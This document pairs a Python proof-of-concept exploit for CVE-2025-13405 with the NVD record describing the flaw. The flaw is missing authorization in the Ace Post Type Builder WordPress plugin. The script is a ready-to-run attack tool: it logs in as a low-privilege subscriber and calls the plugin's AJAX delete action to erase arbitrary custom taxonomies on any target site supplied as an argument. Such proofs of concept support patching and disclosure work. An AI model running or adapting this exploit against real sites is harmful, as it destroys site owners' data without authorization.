CVE-2025-13405

import requests import sys from urllib.parse import urljoin # CVE-2025-13405 PoC - Ace Post Type Builder Unauthorized Taxonomy Deletion # Affected: Ace Post Type Builder <= 1.9 def delete_custom_taxonomy(target_url, taxonomy_name, username, password): """ Exploit function to delete arbitrary custom taxonomies Args: target_url: Target WordPress site URL taxonomy_name: Name of the taxonomy to delete username: WordPress subscriber account username password: WordPress subscriber account password """ # WordPress login to get authentication cookie login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed') return False print('[+] Login successful') # Delete custom taxonomy via AJAX action delete_url = urljoin(target_url, '/wp-admin/admin-ajax.php') delete_data = { 'action': 'cptb_delete_custom_taxonomy', 'taxonomy_name': taxonomy_name } response = session.post(delete_url, data=delete_data) if response.status_code == 200: print(f'[+] Taxonomy "{taxonomy_name}" deletion request sent') return True else: print('[-] Request failed') return False if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python cve-2025-13405.py <target_url> <taxonomy_name> <username> <password>') sys.exit(1) target = sys.argv[1] taxonomy = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] delete_custom_taxonomy(target, taxonomy, user, pwd)

{"cve": {"id": "CVE-2025-13405", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:51.370", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ace Post Type Builder plugin for WordPress is vulnerable to unauthorized custom taxonomy deletion due to missing authorization validation on the cptb_delete_custom_taxonomy() function in all versions up to, and including, 1.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary custom taxonomies."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ace-post-type-builder/tags/1.9/includes/class-cptb-core.php#L400", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ace-post-type-builder/trunk/includes/class-cptb-core.php#L400", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3412781/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b56cef33-057b-4c40-945f-68306597b00b?source=cve", "source": "[email protected]"}]}}